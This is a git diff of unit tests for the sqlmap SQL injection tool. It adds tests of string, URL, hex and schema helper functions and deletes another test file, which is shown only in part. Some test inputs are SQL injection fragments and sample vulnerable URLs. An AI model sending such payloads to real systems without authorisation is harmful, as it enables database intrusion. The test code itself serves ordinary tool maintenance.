test_filter_list_value(self): + self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), + ["users", "admins"]) + # non-list input returned unchanged + self.assertEqual(filterListValue("notlist", r"x"), "notlist") + # no regex returns input + self.assertEqual(filterListValue(["a"], None), ["a"]) + + def test_filter_none(self): + self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) + + def test_filter_string_value(self): + self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") + + def test_un_arrayize_value(self): + self.assertEqual(unArrayizeValue(["1"]), "1") + self.assertEqual(unArrayizeValue("1"), "1") + self.assertEqual(unArrayizeValue(["1", "2"]), "1") + self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") + self.assertIsNone(unArrayizeValue([])) + + def test_flatten_value(self): + self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) + + def test_arrayize_value(self): + self.assertEqual(arrayizeValue("1"), ["1"]) + self.assertEqual(arrayizeValue(["1"]), ["1"]) + + def test_join_value(self): + self.assertEqual(joinValue(["1", "2"]), "1,2") + self.assertEqual(joinValue("1"), "1") + self.assertEqual(joinValue(["1", None]), "1,None") + + +class TestZeroDepthAndSplit(unittest.TestCase): + def test_zero_depth_search_skips_parens(self): + expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" + idx = zeroDepthSearch(expr, " FROM ") + # only the outer top-level FROM is found, not the one inside the subselect + self.assertEqual(len(idx), 1) + self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) + + def test_zero_depth_search_ignores_quoted(self): + expr = "a , 'b , c' , d" + # commas inside the quoted literal are not reported + self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) + + def test_split_fields_basic(self): + self.assertEqual(splitFields("foo, bar, max(foo, bar)"), + ["foo", "bar", "max(foo,bar)"]) + + def test_split_fields_quoted(self): + self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) + + def test_split_fields_custom_delimiter(self): + self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), + ["a", "b", "max(c;d)"]) + + +class TestAliasToDbmsEnum(unittest.TestCase): + def test_known_aliases(self): + self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) + self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_unknown_alias_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) + + def test_empty_returns_none(self): + self.assertIsNone(aliasToDbmsEnum("")) + + +class TestGetPageWordSet(unittest.TestCase): + def test_word_extraction(self): + words = getPageWordSet(u"foobartest") + self.assertEqual(sorted(words), [u"foobar", u"test"]) + + def test_non_string_returns_empty(self): + self.assertEqual(getPageWordSet(None), set()) + + +class TestNormalizeUnicode(unittest.TestCase): + def test_accents_stripped(self): + # normalizeUnicode collapses accented chars to their ASCII base + self.assertEqual(normalizeUnicode(u"éè"), "ee") + + def test_plain_ascii_unchanged(self): + self.assertEqual(normalizeUnicode(u"abc123"), "abc123") + + def test_none_returns_none(self): + self.assertIsNone(normalizeUnicode(None)) + + +class TestResetCookieJar(unittest.TestCase): + """resetCookieJar's clear branch (conf.loadCookies falsy).""" + + def setUp(self): + self._loadCookies = conf.loadCookies + conf.loadCookies = None + + def tearDown(self): + conf.loadCookies = self._loadCookies + + def test_clear_branch(self): + try: + from http.cookiejar import CookieJar + except ImportError: # Python 2 + from cookielib import CookieJar + + jar = CookieJar() + cleared = {"called": False} + + class _Jar(object): + def clear(self): + cleared["called"] = True + + resetCookieJar(_Jar()) + self.assertTrue(cleared["called"]) + # also accepts a real jar without raising + self.assertIsNone(resetCookieJar(jar)) + + +# =========================================================================== # +# from tests/test_core_extra.py (common.py classes) +# =========================================================================== # + +class TestCommonStringHelpers(unittest.TestCase): + """Small pure string/list/regex/encoding helpers in lib/core/common.py.""" + + def test_posix_to_nt_slashes(self): + from lib.core.common import posixToNtSlashes + self.assertEqual(posixToNtSlashes("C:/Windows"), "C:\\Windows") + self.assertEqual(posixToNtSlashes("a/b/c"), "a\\b\\c") + # falsy input returned unchanged + self.assertEqual(posixToNtSlashes(""), "") + self.assertIsNone(posixToNtSlashes(None)) + + def test_nt_to_posix_slashes(self): + from lib.core.common import ntToPosixSlashes + self.assertEqual(ntToPosixSlashes("C:\\Windows"), "C:/Windows") + self.assertEqual(ntToPosixSlashes("a\\b\\c"), "a/b/c") + self.assertEqual(ntToPosixSlashes(""), "") + + def test_is_hex_encoded_string(self): + from lib.core.common import isHexEncodedString + self.assertTrue(isHexEncodedString("DEADBEEF")) + self.assertTrue(isHexEncodedString("0x1234")) # 'x' is allowed by the regex + self.assertFalse(isHexEncodedString("test")) + self.assertFalse(isHexEncodedString("12 34")) # space breaks it + + def test_is_digit(self): + from lib.core.common import isDigit + self.assertTrue(isDigit("123456")) + self.assertFalse(isDigit("3b3")) + self.assertFalse(isDigit(u"\xb2")) # superscript-2: str.isdigit() True, isDigit False + self.assertFalse(isDigit("")) # empty -> no match + self.assertFalse(isDigit(None)) + + def test_sanitize_str(self): + from lib.core.common import sanitizeStr + self.assertEqual(sanitizeStr("foo\n\rbar"), "foo bar") + self.assertEqual(sanitizeStr("a\r\nb"), "a b") + self.assertEqual(sanitizeStr(None), "None") + + def test_filter_control_chars(self): + from lib.core.common import filterControlChars + self.assertEqual(filterControlChars("AND 1>(2+3)\n--"), "AND 1>(2+3) --") + # custom replacement character + self.assertEqual(filterControlChars("a\tb", replacement="_"), "a_b") + + def test_normalize_path(self): + from lib.core.common import normalizePath + self.assertEqual(normalizePath("//var///log/apache.log"), "/var/log/apache.log") + self.assertEqual(normalizePath("/a/b/../c"), "/a/c") + + def test_directory_path(self): + from lib.core.common import directoryPath + self.assertEqual(directoryPath("/var/log/apache.log"), "/var/log") + # no extension -> returned unchanged + self.assertEqual(directoryPath("/var/log"), "/var/log") + + def test_longest_common_prefix(self): + from lib.core.common import longestCommonPrefix + self.assertEqual(longestCommonPrefix("foobar", "fobar"), "fo") + self.assertEqual(longestCommonPrefix("abc", "abd", "abe"), "ab") + # single sequence returned verbatim + self.assertEqual(longestCommonPrefix("only"), "only") + + def test_first_not_none(self): + from lib.core.common import firstNotNone + self.assertEqual(firstNotNone(None, None, 1, 2, 3), 1) + self.assertEqual(firstNotNone(None, 0), 0) # 0 is not None + self.assertIsNone(firstNotNone(None, None)) + + def test_decode_string_escape(self): + from lib.core.common import decodeStringEscape + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(decodeStringEscape("a\\nb"), "a\nb") + # no backslash -> unchanged + self.assertEqual(decodeStringEscape("plain"), "plain") + + def test_encode_string_escape(self): + from lib.core.common import encodeStringEscape + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + self.assertEqual(encodeStringEscape("a\nb"), "a\\nb") + self.assertEqual(encodeStringEscape("plain"), "plain") + + def test_decode_encode_string_escape_roundtrip(self): + from lib.core.common import decodeStringEscape, encodeStringEscape + self.assertEqual(decodeStringEscape(encodeStringEscape("x\ty\nz")), "x\ty\nz") + + def test_escape_json_value(self): + from lib.core.common import escapeJsonValue + # newline gets escaped (literal '\n' becomes the two chars backslash+n) + self.assertNotIn("\n", escapeJsonValue("foo\nbar")) + self.assertIn("\\n", escapeJsonValue("foo\nbar")) + # tab gets escaped to '\t' + self.assertIn("\\t", escapeJsonValue("foo\tbar")) + # quote and backslash escaped + self.assertEqual(escapeJsonValue('a"b'), 'a\\"b') + self.assertEqual(escapeJsonValue("a\\b"), "a\\\\b") + # ordinary characters untouched + self.assertEqual(escapeJsonValue("plain text"), "plain text") + + def test_clean_query(self): + from lib.core.common import cleanQuery + self.assertEqual(cleanQuery("select id from users"), "SELECT id FROM users") + # already-uppercase keywords stay; identifiers untouched + self.assertEqual(cleanQuery("SELECT a FROM t"), "SELECT a FROM t") + + def test_json_minimize_canonical(self): + from lib.core.common import jsonMinimize + # key order / whitespace independence + self.assertEqual(jsonMinimize('{"b": 2, "a": 1}'), jsonMinimize('{"a":1, "b":2}')) + # nested leaf path + self.assertEqual(jsonMinimize('{"a": {"b": 1}}'), ".a.b=1") + # empty object + self.assertEqual(jsonMinimize("{}"), "") + # not parseable -> None (and only None) + self.assertIsNone(jsonMinimize("not json")) + + def test_json_minimize_array_length_registers(self): + from lib.core.common import jsonMinimize + # array length change must perturb the projection + self.assertNotEqual(jsonMinimize('{"a": [1, 2]}'), jsonMinimize('{"a": [1, 2, 3]}')) + + def test_list_to_str_value(self): + from lib.core.common import listToStrValue + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + # set/tuple/generator normalized via list first + self.assertEqual(listToStrValue((1, 2)), "1, 2") + # non-list passes through + self.assertEqual(listToStrValue("abc"), "abc") + + def test_intersect(self): + from lib.core.common import intersect + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + # order follows containerA + self.assertEqual(intersect([3, 2, 1], [1, 2]), [2, 1]) + # case-insensitive option + self.assertEqual(intersect(["FOO", "bar"], ["foo"], lowerCase=True), ["foo"]) + + def test_priority_sort_columns(self): + from lib.core.common import prioritySortColumns + # 'id'-containing columns first, then by ascending length + self.assertEqual( + prioritySortColumns(["password", "userid", "name", "id"]), + ["id", "userid", "name", "password"], + ) + + def test_safe_variable_naming(self): + from lib.core.common import safeVariableNaming + self.assertEqual(safeVariableNaming("class.id"), "EVAL_636c6173732e6964") + # plain identifier left untouched + self.assertEqual(safeVariableNaming("foobar"), "foobar") + + def test_unsafe_variable_naming(self): + from lib.core.common import unsafeVariableNaming + self.assertEqual(unsafeVariableNaming("EVAL_636c6173732e6964"), "class.id") + self.assertEqual(unsafeVariableNaming("foobar"), "foobar") + + def test_variable_naming_roundtrip(self): + from lib.core.common import safeVariableNaming, unsafeVariableNaming + self.assertEqual(unsafeVariableNaming(safeVariableNaming("a-b")), "a-b") + + def test_average(self): + from lib.core.common import average + self.assertAlmostEqual(average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), 0.9, places=6) + self.assertEqual(average([2, 4]), 3.0) + self.assertIsNone(average([])) + + def test_stdev(self): + from lib.core.common import stdev + self.assertEqual("%.3f" % stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9]), "0.063") + # fewer than 2 values -> None + self.assertIsNone(stdev([1.0])) + self.assertIsNone(stdev([])) + + +class TestCommonSafeCompare(unittest.TestCase): + """Constant-time / checksum helpers.""" + + def test_safe_compare_strings(self): + from lib.core.common import safeCompareStrings + self.assertTrue(safeCompareStrings("test", "test")) + self.assertFalse(safeCompareStrings("test1", "test2")) + self.assertFalse(safeCompareStrings("test", None)) + # both None compares equal (a == b path) + self.assertTrue(safeCompareStrings(None, None)) + + def test_safe_cs_value(self): + from lib.core.common import safeCSValue + # ensure deterministic delimiter + old = conf.get("csvDel") + conf.csvDel = defaults.csvDel + try: + self.assertEqual(safeCSValue("foo, bar"), '"foo, bar"') + self.assertEqual(safeCSValue("foobar"), "foobar") + self.assertEqual(safeCSValue("foo\rbar"), '"foo\rbar"') + self.assertEqual(safeCSValue('foo"bar'), '"foo""bar"') + finally: + conf.csvDel = old + + +class TestCommonSafeExString(unittest.TestCase): + def test_sqlmap_exception_message(self): + from lib.core.common import getSafeExString + from lib.core.exception import SqlmapBaseException + self.assertEqual(getSafeExString(SqlmapBaseException("foobar")), "foobar") + + def test_oserror_prefixed_with_type(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(OSError(0, "foobar")), "OSError: foobar") + + def test_generic_value_error(self): + from lib.core.common import getSafeExString + self.assertEqual(getSafeExString(ValueError("bad input")), "ValueError: bad input") + + +class TestCommonHostHeader(unittest.TestCase): + def test_plain_host(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com/vuln.php?id=1"), "www.target.com") + + def test_default_port_stripped(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:80/x"), "www.target.com") + self.assertEqual(getHostHeader("https://www.target.com:443/x"), "www.target.com") + + def test_nondefault_port_kept(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://www.target.com:8080/x"), "www.target.com:8080") + + def test_ipv6_brackets(self): + from lib.core.common import getHostHeader + self.assertEqual(getHostHeader("http://[::1]:8080/vuln.php?id=1"), "[::1]:8080") + self.assertEqual(getHostHeader("http://[::1]/vuln.php?id=1"), "[::1]") + + +class TestCommonCheckSameHost(unittest.TestCase): + def test_same_host(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target.com/images/page2.php", + )) + + def test_different_host(self): + from lib.core.common import checkSameHost + self.assertFalse(checkSameHost( + "http://www.target.com/page1.php?id=1", + "http://www.target2.com/images/page2.php", + )) + + def test_www_prefix_ignored(self): + from lib.core.common import checkSameHost + # leading 'www.' is stripped before comparison + self.assertTrue(checkSameHost("http://www.target.com/a", "http://target.com/b")) + + def test_single_url_true_and_empty_none(self): + from lib.core.common import checkSameHost + self.assertTrue(checkSameHost("http://only.com/a")) + self.assertIsNone(checkSameHost()) + + +class TestCommonUrldecode(unittest.TestCase): + def test_convall_true(self): + from lib.core.common import urldecode + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=True), "AND 1>(2+3)#") + + def test_convall_false_keeps_unsafe(self): + from lib.core.common import urldecode + # %2B (plus) is in the default 'unsafe' set so it stays encoded when convall=False + self.assertEqual(urldecode("AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_bytes_input(self): + from lib.core.common import urldecode + self.assertEqual(urldecode(b"AND%201%3E%282%2B3%29%23", convall=False), "AND 1>(2%2B3)#") + + def test_spaceplus(self): + from lib.core.common import urldecode + # with spaceplus the '+' becomes a space + self.assertEqual(urldecode("a+b", convall=False, spaceplus=True), "a b") + # without spaceplus the '+' stays + self.assertEqual(urldecode("a+b", convall=False, spaceplus=False), "a+b") + + +class TestCommonChunkSplit(unittest.TestCase): + def test_chunk_split_post_data(self): + import random + from lib.core.common import chunkSplitPostData + from lib.core.patch import unisonRandom + # The pinned docstring value is produced under sqlmap's cross-version PRNG; install it + # (then restore the stdlib functions) so the expectation is deterministic here too. + _saved = (random.choice, random.randint, random.sample, random.seed) + unisonRandom() + try: + random.seed(0) + expected = ('5;4Xe90\r\nSELEC\r\n3;irWlc\r\nT u\r\n1;eT4zO\r\ns\r\n' + '5;YB4hM\r\nernam\r\n9;2pUD8\r\ne,passwor\r\n3;mp07y\r\nd F\r\n' + '5;8RKXi\r\nROM u\r\n4;MvMhO\r\nsers\r\n0\r\n\r\n') + self.assertEqual(chunkSplitPostData("SELECT username,password FROM users"), expected) + finally: + random.choice, random.randint, random.sample, random.seed = _saved + + def test_chunk_split_terminator(self): + import random + from lib.core.common import chunkSplitPostData + random.seed(123) + # regardless of content, the chunked stream must end with the zero-length terminator + self.assertTrue(chunkSplitPostData("abc").endswith("0\r\n\r\n")) + + +class TestCommonDecodeIntToUnicode(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_basic_ascii(self): + from lib.core.common import decodeIntToUnicode + self.assertEqual(decodeIntToUnicode(35), "#") + self.assertEqual(decodeIntToUnicode(64), "@") + self.assertEqual(decodeIntToUnicode(65), "A") + + def test_non_int_passthrough(self): + from lib.core.common import decodeIntToUnicode + # non-int is returned unchanged + self.assertEqual(decodeIntToUnicode("x"), "x") + + def test_pgsql_high_codepoint(self): + from lib.core.common import decodeIntToUnicode + set_dbms(DBMS.PGSQL) + # value > 255 on PGSQL takes the _unichr(value) branch + self.assertEqual(decodeIntToUnicode(0x2122), u"™") + + +class TestCommonDecodeDbmsHex(unittest.TestCase): + def setUp(self): + self._old_binary = kb.binaryField + kb.binaryField = False + + def tearDown(self): + kb.binaryField = self._old_binary + set_dbms(None) + + def test_plain_hex(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("3132332031"), u"123 1") + + def test_odd_length_appends_question_mark(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("313233203"), u"123 ?") + + def test_list_input(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue(["0x31", "0x32"]), [u"1", u"2"]) + + def test_non_hex_passthrough(self): + from lib.core.common import decodeDbmsHexValue + self.assertEqual(decodeDbmsHexValue("5.1.41"), u"5.1.41") + + +class TestCommonUnsafeSQLIdentificator(unittest.TestCase): + def tearDown(self): + set_dbms(None) + + def test_mssql_brackets(self): + from lib.core.common import unsafeSQLIdentificatorNaming + from lib.core.common import getText + set_dbms(DBMS.MSSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("[begin]")), "begin") + self.assertEqual(getText(unsafeSQLIdentificatorNaming("foobar")), "foobar") + + def test_mysql_backticks(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.MYSQL) + self.assertEqual(getText(unsafeSQLIdentificatorNaming("`col`")), "col") + + def test_oracle_uppercases(self): + from lib.core.common import unsafeSQLIdentificatorNaming, getText + set_dbms(DBMS.ORACLE) + # Oracle strips double quotes and uppercases + self.assertEqual(getText(unsafeSQLIdentificatorNaming('"name"')), "NAME") + + +class TestCommonParseSqliteSchema(unittest.TestCase): + def setUp(self): + self._old_cached = kb.data.get("cachedColumns") + self._old_db = conf.db + self._old_tbl = conf.tbl + kb.data.cachedColumns = {} + conf.db = "SQLITE_MASTER" + conf.tbl = "users" + + def tearDown(self): + kb.data.cachedColumns = self._old_cached + conf.db = self._old_db + conf.tbl = self._old_tbl + + def test_simple_schema(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE users(\n\t\tid INTEGER,\n\t\tname TEXT\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("id", "INTEGER"), ("name", "TEXT"))) + + def test_constraints_skipped(self): + from lib.core.common import parseSqliteTableSchema + self.assertTrue(parseSqliteTableSchema( + "CREATE TABLE suppliers(\n\tsupplier_id INTEGER PRIMARY KEY DESC,\n\tname TEXT NOT NULL\n);")) + cols = kb.data.cachedColumns[conf.db][conf.tbl] + self.assertEqual(tuple(cols.items()), (("supplier_id", "INTEGER"), ("name", "TEXT"))) + + +# =========================================================================== # +# from tests/test_core_final.py (common.py classes) +# =========================================================================== # + +class TestCommonPureHelpers(unittest.TestCase): + """Pure string/encoding/list/regex helpers from lib/core/common.py.""" + + def test_boldify_message_marks_known_pattern(self): + self.assertEqual( + boldifyMessage("GET parameter id is not injectable", istty=True), + "\x1b[1mGET parameter id is not injectable\x1b[0m", + ) + + def test_boldify_message_leaves_plain_unchanged(self): + self.assertEqual(boldifyMessage("just a plain message", istty=True), "just a plain message") + + def test_calculate_delta_seconds_from_epoch(self): + self.assertGreater(calculateDeltaSeconds(0), 1151721660) + + def test_calculate_delta_seconds_nonnegative(self): + import time as _time + self.assertGreaterEqual(calculateDeltaSeconds(_time.time()), 0.0) + + def test_common_finder_only_returns_longest_common_prefix(self): + self.assertEqual(commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]), "abcde") + + def test_enum_value_to_name_lookup_hit(self): + self.assertEqual(enumValueToNameLookup(SORT_ORDER, SORT_ORDER.LAST), "LAST") + + def test_enum_value_to_name_lookup_miss(self): + self.assertIsNone(enumValueToNameLookup(SORT_ORDER, -987654321)) + + def test_file_path_to_safe_string(self): + self.assertEqual(filePathToSafeString("C:/Windows/system32"), "C__Windows_system32") + + def test_file_path_to_safe_string_spaces_backslashes(self): + self.assertEqual(filePathToSafeString("a b\\c:d"), "a_b_c_d") + + def test_is_windows_drive_letter_path_true(self): + self.assertTrue(isWindowsDriveLetterPath("C:\\boot.ini")) + + def test_is_windows_drive_letter_path_false(self): + self.assertFalse(isWindowsDriveLetterPath("/var/log/apache.log")) + + def test_clean_replace_unicode_list(self): + self.assertEqual(cleanReplaceUnicode(["a", "b"]), ["a", "b"]) + + def test_clean_replace_unicode_scalar(self): + self.assertEqual(cleanReplaceUnicode(u"plain"), u"plain") + + def test_trim_alpha_num(self): + self.assertEqual(trimAlphaNum("AND 1>(2+3)-- foobar"), " 1>(2+3)-- ") + + def test_trim_alpha_num_all_alnum(self): + self.assertEqual(trimAlphaNum("abc123"), "") + + def test_trim_alpha_num_empty(self): + self.assertEqual(trimAlphaNum(""), "") + + def test_list_to_str_value_list(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_list_to_str_value_tuple(self): + self.assertEqual(listToStrValue((4, 5)), "4, 5") + + def test_list_to_str_value_scalar(self): + self.assertEqual(listToStrValue("foo"), "foo") + + def test_intersect_lists(self): + self.assertEqual(intersect([1, 2, 3], set([1, 3])), [1, 3]) + + def test_intersect_lowercase(self): + self.assertEqual(intersect(["A", "B"], ["a"], lowerCase=True), ["a"]) + + def test_intersect_empty(self): + self.assertEqual(intersect([], [1, 2]), []) + + def test_apply_function_recursively(self): + self.assertEqual( + applyFunctionRecursively([1, 2, [3, -9]], lambda _: _ > 0), + [True, True, [True, False]], + ) + + def test_apply_function_recursively_scalar(self): + self.assertEqual(applyFunctionRecursively(5, lambda _: _ + 1), 6) + + +class TestCommonRegexAndPage(unittest.TestCase): + """Regex / page-content extraction helpers.""" + + def test_extract_regex_result_hit(self): + self.assertEqual(extractRegexResult(r"a(?P[^g]+)g", "abcdefg"), "bcdef") + + def test_extract_regex_result_no_match(self): + self.assertIsNone(extractRegexResult(r"a(?P[^g]+)g", "xyz")) + + def test_extract_regex_result_no_result_group(self): + self.assertIsNone(extractRegexResult(r"plain", "plain")) + + def test_extract_regex_result_empty_content(self): + self.assertIsNone(extractRegexResult(r"a(?P.)b", "")) + + def test_extract_text_tag_content(self): + self.assertEqual( + extractTextTagContent("Title
foobar
"), + ["Title", "foobar"], + ) + + def test_extract_text_tag_content_empty(self): + self.assertEqual(extractTextTagContent(""), []) + + def test_get_filtered_page_content(self): + self.assertEqual( + getFilteredPageContent(u"foobartest"), + "foobar test", + ) + + def test_get_filtered_page_content_drops_script(self): + page = u"hello" + self.assertNotIn("var x", getFilteredPageContent(page)) + self.assertIn("hello", getFilteredPageContent(page)) + + def test_get_filtered_page_content_nonstring_passthrough(self): + self.assertEqual(getFilteredPageContent(None), None) + + def test_extract_error_message_oracle(self): + page = (u"Test\nWarning: oci_parse() " + u"[function.oci-parse]: ORA-01756: quoted string not properly " + u"terminated

Only a test page

") + self.assertEqual( + getText(extractErrorMessage(page)), + "oci_parse() [function.oci-parse]: ORA-01756: quoted string not properly terminated", + ) + + def test_extract_error_message_none_for_plain(self): + self.assertIsNone(extractErrorMessage("Warning: This is only a dummy foobar test")) + + def test_extract_error_message_non_string(self): + self.assertIsNone(extractErrorMessage(None)) + + def test_find_multipart_post_boundary(self): + post = ("-----------------------------9051914041544843365972754266\n" + "Content-Disposition: form-data; name=text\n\ndefault") + self.assertEqual(findMultipartPostBoundary(post), "9051914041544843365972754266") + + def test_find_multipart_post_boundary_none(self): + self.assertIsNone(findMultipartPostBoundary("")) + + +class TestCommonHeadersAndExpected(unittest.TestCase): + + def test_get_header_case_insensitive(self): + self.assertEqual(getHeader({"Foo": "bar"}, "foo"), "bar") + + def test_get_header_missing(self): + self.assertIsNone(getHeader({"Foo": "bar"}, "x")) + + def test_get_header_empty_dict(self): + self.assertIsNone(getHeader({}, "anything")) + + def test_get_request_header_hit(self): + self.assertEqual(getText(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "foo")), "BAR") + + def test_get_request_header_miss(self): + self.assertIsNone(getRequestHeader(_FakeRequest({"FOO": "BAR"}), "missing")) + + def test_extract_expected_value_bool_true(self): + self.assertIs(extractExpectedValue(["1"], EXPECTED.BOOL), True) + + def test_extract_expected_value_bool_false(self): + self.assertIs(extractExpectedValue(["0"], EXPECTED.BOOL), False) + + def test_extract_expected_value_bool_word(self): + self.assertIs(extractExpectedValue(["true"], EXPECTED.BOOL), True) + self.assertIs(extractExpectedValue(["false"], EXPECTED.BOOL), False) + + def test_extract_expected_value_int(self): + self.assertEqual(extractExpectedValue("5", EXPECTED.INT), 5) + + def test_extract_expected_value_int_invalid(self): + self.assertIsNone(extractExpectedValue(u"7\xb9645", EXPECTED.INT)) + + def test_extract_expected_value_no_expected(self): + self.assertEqual(extractExpectedValue("foo", None), "foo") + + +class TestParseJsonAndHash(unittest.TestCase): + + def test_parse_json_double_quotes(self): + self.assertEqual(parseJson('{"id":1}')["id"], 1) + + def test_parse_json_single_quotes(self): + self.assertEqual(parseJson("{'id':1, 'foo':[2,3,4]}")["id"], 1) + + def test_parse_json_not_json(self): + self.assertIsNone(parseJson("this is not json")) + + def test_parse_password_hash_mssql(self): + saved = kb.forcedDbms + try: + kb.forcedDbms = DBMS.MSSQL + result = parsePasswordHash("0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + self.assertIn("salt: 4086ceb6", result) + self.assertIn("header: 0x0100", result) + finally: + kb.forcedDbms = saved + + def test_parse_password_hash_none(self): + self.assertEqual(parsePasswordHash(None), NULL) + + def test_parse_password_hash_blank(self): + self.assertEqual(parsePasswordHash(" "), NULL) + + +class TestSerializeAndTechnique(unittest.TestCase): + + def test_serialize_roundtrip(self): + self.assertEqual(unserializeObject(serializeObject([1, 2, 3])), [1, 2, 3]) + + def test_serialize_object_is_str(self): + self.assertIsInstance(serializeObject([1, 2, ("a", "b")]), str) + + def test_unserialize_none(self): + self.assertIsNone(unserializeObject(None)) + + def test_set_get_technique_thread_local(self): + saved = getTechnique() + try: + setTechnique(5) + self.assertEqual(getTechnique(), 5) + finally: + setTechnique(saved) + + def test_get_technique_falls_back_to_kb(self): + saved_thread = getTechnique() + saved_kb = kb.get("technique") + try: + setTechnique(None) + kb.technique = 7 + self.assertEqual(getTechnique(), 7) + finally: + setTechnique(saved_thread) + kb.technique = saved_kb + + +class TestRemovePostHint(unittest.TestCase): + + def test_removes_known_prefix(self): + self.assertEqual(removePostHintPrefix("JSON id"), "id") + + def test_no_prefix_unchanged(self): + self.assertEqual(removePostHintPrefix("id"), "id") + + +class TestFileHelpers(unittest.TestCase): + + def test_check_file_existing(self): + self.assertTrue(checkFile(__file__)) + + def test_check_file_missing_no_raise(self): + self.assertFalse(checkFile("/no/such/path_xyz_123", raiseOnError=False)) + + def test_check_file_missing_raises(self): + with self.assertRaises(SqlmapSystemException): + checkFile("/no/such/path_xyz_123", raiseOnError=True) + + def test_is_zip_file_wordlist(self): + # paths.WORDLIST is a zip-compressed wordlist shipped with sqlmap + self.assertTrue(isZipFile(paths.WORDLIST)) + + def test_is_zip_file_plain_text(self): + self.assertFalse(isZipFile(paths.SQL_KEYWORDS)) + + def test_safe_filepath_encode_ascii_passthrough(self): + # On Python 3 the function returns the value unchanged for str input + self.assertEqual(safeFilepathEncode("/tmp/x"), "/tmp/x") + + def test_safe_expand_user_basename_preserved(self): + self.assertIn(os.path.basename(__file__), safeExpandUser(__file__)) + + +class TestCheckOldOptions(unittest.TestCase): + + def test_no_old_options_is_noop(self): + # Returns None and does not raise when no deprecated options are present + self.assertIsNone(checkOldOptions(["-u", "http://test.invalid/?id=1", "--banner"])) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_common_parsers.py b/tests/test_common_parsers.py deleted file mode 100644 index 4c28829909b..00000000000 --- a/tests/test_common_parsers.py +++ /dev/null @@ -1,466 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) -See the file 'LICENSE' for copying permission - -Pure / near-pure parsers and state helpers in lib/core/common.py that are NOT -already exercised by tests/test_common_utils.py. - -Covered here: - * proxy-log parsers reached through parseRequestFile() - (_parseBurpLog plain log, _parseBurpLog Burp XML history, _parseWebScarabLog) - * parseTargetDirect() non-smoke branch (driver resolution for SQLite) - * removeReflectiveValues() reflected-payload masking - * findPageForms() HTML
and inline JS POST discovery - * saveConfig() .ini serialization - * getSQLSnippet() proc-file loading + variable substitution - * checkSystemEncoding() (no-op on a normal default encoding) - * Format.getOs() fingerprint humanizer - * Backend setters/getters (setOs/getOs, setOsVersion, setOsServicePack, - setVersion/getVersion/setVersionList) - * urlencode() extra branches (LIKE percent-encoding, convall, limit, direct) - * safeStringFormat() extra branches (PAYLOAD_DELIMITER region, scalar percent) - -Everything is run in isolation (no network, no DBMS). Any function that -reads/writes global conf/kb/Backend state has that state saved and restored -around the call so test ordering stays irrelevant. Temp files go to the -session scratchpad and are removed. -""" - -import os -import sys -import base64 -import tempfile -import unittest - -sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap -bootstrap() - -from lib.core.common import ( - parseRequestFile, - parseTargetDirect, - removeReflectiveValues, - findPageForms, - saveConfig, - getSQLSnippet, - checkSystemEncoding, - urlencode, - safeStringFormat, - Format, - Backend, -) -from lib.core.data import kb, conf -from lib.core.enums import DBMS, HTTPMETHOD -from lib.core.settings import REFLECTED_VALUE_MARKER, PAYLOAD_DELIMITER - -SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" - - -def _write_temp(content, suffix): - """Write `content` (str) to a scratchpad temp file, return its path.""" - if not os.path.isdir(SCRATCH): - os.makedirs(SCRATCH) - handle, path = tempfile.mkstemp(suffix=suffix, dir=SCRATCH) - os.write(handle, content.encode("utf-8") if isinstance(content, str) else content) - os.close(handle) - return path - - -class TestParseRequestFileBurp(unittest.TestCase): - """_parseBurpLog via parseRequestFile (plain '=====' log + Burp XML history).""" - - def setUp(self): - self._scope = conf.scope - self._method = conf.method - self._headers = 